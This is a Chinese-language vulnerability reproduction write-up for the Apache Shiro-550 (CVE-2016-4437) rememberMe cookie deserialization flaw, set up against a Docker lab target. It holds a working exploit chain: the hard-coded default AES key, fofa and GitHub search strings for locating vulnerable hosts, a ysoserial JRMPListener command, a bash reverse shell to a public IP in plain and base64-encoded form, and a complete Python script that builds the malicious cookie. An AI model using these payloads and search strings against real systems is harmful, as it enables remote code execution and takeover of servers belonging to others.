0x00 漏洞描述

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令
只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

0x01 影响版本

Apache Shiro <= 1.2.4

0x02 漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。用户登陆成功后会生成经过加密并编码的cookie。Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞

在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞

0x03 漏洞原因

大概意思是,shiro在登录处提供了Remember Me这个功能,来记录用户登录的凭证,然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是Remember Me的内容进行一系列处理:

使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me内容

同时在识别用户身份的时候,需要对Remember Me的字段进行解密,解密的顺序为:

Remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的Remember Me字段发送,Shiro将RememberMe进行解密并且反序列化,最终造成反序列化漏洞。

0x04 漏洞利用条件

由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

0x05  漏洞搜索关键字

fofa的搜索关键词:header="rememberme=deleteMe"
github搜索关键词:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode

0x06  漏洞特征

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

0x07  环境搭建

1.下载镜像
docker pull medicean/vulapps:s_shiro_1
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
2.直接运行镜像,将docker的8080端口映射到本地的 8080上:
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
3.访问地址:http://149.28.94.72:8080/,可以看到环境被成功搭建
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
或者:
docker-compose up -d
服务启动后,访问http://your-ip:8080可使用admin:vulhub进行登录

0x08  漏洞复现

一、最基本方式复现利用复现
1.ysoserial-0.0.6-SNAPSHOT-all.jar文件下载:
root@shiro:~/Shiro_exploit# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)

2.访问漏洞靶场,并使用burp对其抓包,输入正确的用户名和密码,勾选Remember Me选项。查看返回包中Set-Cookie中是否存在rememberMe=deleteMe字段。
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
3.对登录的页面进行抓包
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
4.抓到包发送到repeater,重放即可看到cookie中包含rememberMe=deleteMe字段
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)


5.然后在攻击机执行以下命令:(通过 ysoserial中的JRMP监听模块,监听 1086 端口并执行反弹shell命令)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash命令”
 注:
payloads/JRMPClient 是结合 exploit/JRMPListener 使用的;
JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload;
payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的。
然后我们来构造payload来进行反弹shell的操作,写好bash反弹shell的命令
bash -i >& /dev/tcp/149.28.94.72/2222   0>&1
然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}
 注:为什么要对反弹shell进行编码?
在exec()函数中,">"管道符是没有意义的,会被解析为其他的意义,而我们的反弹shell命令中又必须使用,所以需要编码。
另外,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西 ls "My Directory"将被解释为ls '"My' 'Directory"'
6.最终在攻击机上执行的命令如下:
java -cp  ysoserial-master-SNAPSHOT.jar   ysoserial.exploit.JRMPListener 1086 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMjguOTQuNzIvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}”
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
7.使用shiro.py生成payload,需要python2的环境,使用Shiro内置的默认密钥对Payload进行加密:
shiro.py:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
8.对目标靶机进行payload加密处理
root@shiro:~/Shiro_exploit# python shiro.py 149.28.94.72:1099  //攻击机的ip地址和java监听端口,shiro.py需要和ysoserial.jar放在同一个目录下。
rememberMe=Js0Jb6NWTG6O1ZvE0Y6L2cXY9xbf/F6SGZHcoL11yHyKy3gRXdgGRmS3XUUCdq+mPLOc6WzlFpEqdpm+o1RS3fN8N2JWzDI7XI4zZLcI3V3SVhasOqoYX6Eb5s7AQLHePx6T7p8s5XTa5/pdny+bHGLoFJnCR8fa9P1VkcUAdvNuEEfEd4K+zYzSEmVDMdvgCLEx4FZ4zME52g+zGaMfn+L3FcXIy397e+L8FFHoMIayzxnl6D/17Z5hJdlx97xrqB31ZbdoIryiP1VmzDoqgP6ZEfewtH8k9bWyT5ZrSNwOe7FhcNxsrscTD+cboMqt5NUWNH9Jz4pk4VeHyMuAZaZ3TVb9ebfBThYnXvSHTwsEKlTp8sGPsCsKbbMCFKL3Q6qR+ri+15FozlEAsfvliA==
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
9.然后在攻击机上监听2222端口,等待shell反弹
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
10.将生成的remeberMe值添加到cookie字段内的jessionid后边,用分号隔开添加刚生成的payload,然后将数据包放行
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)

11.数据包发送之后查看攻击机中java监听接口和nc监听端口结果显示如下图
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)


二、Shiro_exploit脚本利用复现
1.使用Shiro_exploit的poc对目标靶机key的爆破检查
root@shiro:~/Shiro_exploit# python3  shiro_exploit.py -u   http://149.28.94.72:8080 
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)
Apache Shiro 反序列化漏洞(Shiro-550 CVE-2016-4437)

2.使用Shiro_exploit的poc执行反弹shell
root@shiro:~# git  clone  https://github.com/insightglacier/Shiro_exploit.git
root@shiro:~/Shiro_exploit# pip3  install pycryptodome

相关文章: